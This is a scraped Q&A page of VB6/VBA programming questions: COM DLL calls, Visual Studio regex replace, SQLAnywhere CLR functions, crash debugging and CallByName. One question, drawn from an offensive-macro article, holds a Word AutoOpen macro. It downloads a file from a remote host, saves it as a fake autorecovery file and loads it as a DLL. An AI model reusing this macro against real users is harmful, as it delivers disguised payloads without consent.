VB6.0 call a Sub written in a BAS Module from a Class Module CLS not working - dll

I am writing VB6.0 projects (DLL with COM+) starting from previously written code.
I have a "main" Class Module CLS file with "main" Functions, and the Process flow etc.
I have also a "side" Module BAS where I save all the Functions / Subroutines to use as tools in my "main" Class Module.
I have written a very very straightforward logging system (because I feel very unconfortable with App.LogEvent("blablabla") ) but I am not able to compile the DLL. The message points me to the CLS call and I think the problem is related to the Sub that should return a value, but I do not want to return any value from that Sub!
I am quite new to VB6.0 and improving existing source code it is quite difficult.
Here is my Module BAS
Public Sub LogMyApp(ByVal sFunctionName As String, ByVal sLogEntry As String)
Dim sLogPath As String
sLogPath = "C:\Temp\MyLog.txt"
Dim fn As Integer
fn = FreeFile
Open sLogPath For Append As #fn
Write #fn, Now & "|" & sFunctionName & "|" & sLogEntry
Close #fn
End Sub
Here is my Class Module CLS call to that Sub inside the BAS Module
LogMyApp ( "FunctionBlaBla" , "blablabla" )
Any help is really appreciated!
Thanks a lot!

Simple fix, remove the parens as you are not calling a function;
LogMyApp "FunctionBlaBla" , "blablabla"
(Or as purely a visual thing prefix with the Call keyword; call LogMyApp(...))

Related

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Find exact string and replace with carriage return plus string with visual studio

I am looking to find all instances of the exact string "Public" and replace it with " ' \n Public" (Add an empty comment above every Public declaration. )
I would also like to ignore any lines that are already commented out i.e. 'Public, and capture the whole line
What you want to do is
Load up the Find and Replace dialog and put Public in the Find what field and put '\nPublic in the Replace with field.
Check Match case and Use Regular Expressions
And away you go. The extension Multiline Search and Replace makes this a bit easier.
If you want normalized Windows-style line endings, you may want to replace with '\r\nPublic instead.
Visual Studio 2019 will allow you to replace Public with '\nPublic when using RegEx option. However if you don't have 2019 (or it doesn't work for some other reason), you can write some code to do it:
Put this method in your code and start debugging, then call the method
Imports System.IO
Module Module1
Public Sub foo()
Dim fileName = New System.Diagnostics.StackTrace(True).GetFrame(0).GetFileName()
Dim fileContents As String
Using sr = New StreamReader(fileName)
fileContents = sr.ReadToEnd().Replace(
"Pub" & "lic",
"'" & Environment.NewLine & "Pub" & "lic") ' String split so not replaced
End Using
Using sw = New StreamWriter(fileName, False)
sw.Write(fileContents)
End Using
End Sub
Sub Main()
foo()
End Sub
End Module
I think it's not natively possible with Visual Studio, but you can download a plugin like
https://marketplace.visualstudio.com/items?itemName=PeterMacej.MultilineSearchandReplace,
that provides such support.

How can SQLAnywhere's "external CLR" access a System Process

In need of an extension in SQLAnywhere (16) to access some DOS functions on the server where the DB is running, I tried :
A first code for a DLL to be called from Sybase
________! SAExternal.vb !____________
Imports System.Diagnostics
Public Class SAExternal
Public Shared Function getDone()
Dim myProcess As Process = System.Diagnostics.Process.Start("notePad.exe", "C:\data\CLR\zTest.txt")
myProcess.WaitForExit()
myProcess.Close()
getDone = "OK"
End Function
End Class
compiled using :
vbc.exe /t:library /out:SAExt.dll SAExternal.vb
Follows some code to test my DLL
_________! SAMain.vb !______________
Module SAMain
Sub Main()
Dim obj as New SAExternal()
MsgBox("Test SAMain " & obj.getDone())
End Sub
End Module
compiled using : vbc.exe /t:winexe /r:SAExt.dll SAMain.vb
SAMain.exe opens correctly notepad.exe, waits until I close it, and comes with the message "Test SAMain OK"
In SQLAnywhere, I coded :
CREATE FUNCTION getDone()
RETURNS LONG VARCHAR
EXTERNAL NAME 'C:\data\CLR\SAExternal\SAExt.dll::SAExternal.getDone() string'
LANGUAGE CLR
Calling the function by "Select getDone()" returns an error :
"Impossible to load the file or assembly 'System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=........' or one of it's denpendencies..."
If I take out the Process part of the SAExternal module:
Public Class SAExternal
Public Shared Function getDone()
getDone = "OK"
End Function
End Class
my function gives me the correct answer ("OK")
For test purposes, I leaved all these files in the same directory as my Database file, including .vb and .dll .
I've searched the web for days to understand what I did wrong, and can't find what I missed.
Could somebody help me ?
try
CREATE FUNCTION getDone() RETURNS LONG VARCHAR
EXTERNAL NAME 'C:\data\CLR\SAExternal\SAExt.dll::SAExternal.getDone() *out* string'
LANGUAGE CLR
Please notice the addition of the out option before string

How to view VB6 control-level variables in WinDbg?

I have a crash file where I can see that one of my own VB6 user controls is responsible for the crash; i.e. one of its methods is part of the stack trace and I can see the line responsible.
From here, I'd like to inspect the state of its member variables. How do I do this?
Note: I also have the private symbols for my controls. The problem is being able to inspect "Me". The command !object address_of_Me doesn't seem to do the trick and so I'm at a loss.
Thank you.
It's been 10 years since I had to do this in VB6, but I remember a lot of Printer.Print statements in my past life :)
I used to do things like this for debugging (but not for release code)
Sub MySub
On Error Goto ErrorTrap
Dim intX as integer
Dim intY as integer
' do some horrible error here
Exit Sub
ErrorTrap:
Printer.Print "Error"
Printer.Print intX
Printer.Print intY
Printer.Print ...
End Sub
well, codeSMART have one option install global handle on your application first call to SetUnhandledExceptionFilter (win api) is should be installed when load your module main or master form when is closing the program so call to SetUnhandledExceptionFilter.
The code is little long so copy methods names y api calls
Public Sub InstallGlobalHandler()
On Error Resume Next
If Not lnFilterInstalled Then
Call SetUnhandledExceptionFilter(AddressOf GlobalExceptionHandler)
lnFilterInstalled = True
End If
End Sub
Public Sub UninstallGlobalExceptionHandler()
On Error Resume Next
If lnFilterInstalled Then
Call SetUnhandledExceptionFilter(0&)
lnFilterInstalled = False
End If
End Sub
Also here is Record Structure y apis declarations for the module
- CopyMemory
- SetUnhandledExceptionFilter
- RaiseException
' Public enums
-EExceptionType
-EExceptionHandlerReturn
-Private Const EXCEPTION_MAXIMUM_PARAMETERS = 15
' Private record structure
-Private Type CONTEXT
'Structure that describes an exception.
-Private Type EXCEPTION_RECORD
'Structure that contains exception information that can be used by a debugger.
-Private Type EXCEPTION_DEBUG_INFO
-Private Type EXCEPTION_POINTERS
Take a revised that How to route the exe exception back to VB6 app?

Calling a Sub or Function contained in a module using "CallByName" in VB/VBA

It is easy to call a function inside a classModule using CallByName
How about functions inside standard module?
''#inside class module
''#classModule name: clsExample
Function classFunc1()
MsgBox "I'm class module 1"
End Function
''#
''#inside standard module
''#Module name: module1
Function Func1()
MsgBox "I'm standard module 1"
End Function
''#
''# The main sub
Sub Main()
''# to call function inside class module
dim clsObj as New clsExample
Call CallByName(clsObj,"ClassFunc1")
''# here's the question... how to call a function inside a standard module
''# how to declare the object "stdObj" in reference to module1?
Call CallByName(stdObj,"Func1") ''# is this correct?
End Sub
I think jtolle's response addressed the question best - the small reference to Application.Run may be the answer. The questioner doesn't want to use simply func1 or Module1.func1 - the reason one would want to use CallByName in the first place is that the desired function.sub name is not known at compile time. In this case, Application.Run does work, e.g.:
Dim ModuleName As String
Dim FuncName As String
Module1Name = "Module1"
FuncName = "func1"
Application.Run ModuleName & "." & FuncName
You can also prepend the Project Name before the ModuleName and add another period ".".
Unfortunately, Application.Run does not return any values, so while you can call a function, you won't get its return value.
Although it is an old question and OP asked for CallByName in a standard module, the correct pieces of advice are scattered through answers and comments, and some may not be that accurate, at least in 2020.
As SlowLearner stated, Application.run DOES return a Variant, and in that way both branchs below are equivalent, except by handling errors, as commented around Horowitz's answer:
Dim LoadEnumAndDataFrom as Variant
'FunctionName returns a Variant Array
if fCallByName then
LoadEnumAndDataFrom = CallByName(ClassObj, "FunctionNameAtClass", VbMethod)
else
'After moving back function for a standard module
LoadEnumAndDataFrom = Application.Run("StandardModuleName" & "." & "FunctionNameAtStandard")
endif
I actually just did this above and had no errors at all, tested in Word, Excel and Access, and all return the same Array.
Unfortunately, there is an exception: Outlook's object Model is too protected and it does not have the Run method.
CallByName works only with class objects.
If your subroutine is in a standard module, you can do this:
Sub Main()
Module1.Func1
End Sub
If it's a function, then you'll probably want to capture the return value; something like this:
Sub Main()
Dim var
var = Module1.Func1
End Sub
Modules in VB6 and VBA are something like static classes, but unfortunately VB doesn't accept Module1 as an object. You can write Module1.Func1 like C.Func1 (C being an instance of some Class1), but this is obviously done by the Compiler, not at runtime.
Idea: Convert the Module1 to a class, Create a "Public Module1 as Module1" in your Startup-module and "Set Module1 = New Module1" in your "Sub Main".
Unfortunately it is not possible to prepend the ProjectName before the ModuleName and add another period "." In MS Word this throws a runtime error 438. The call is restricted to the use of simply ModuleName.ProcName.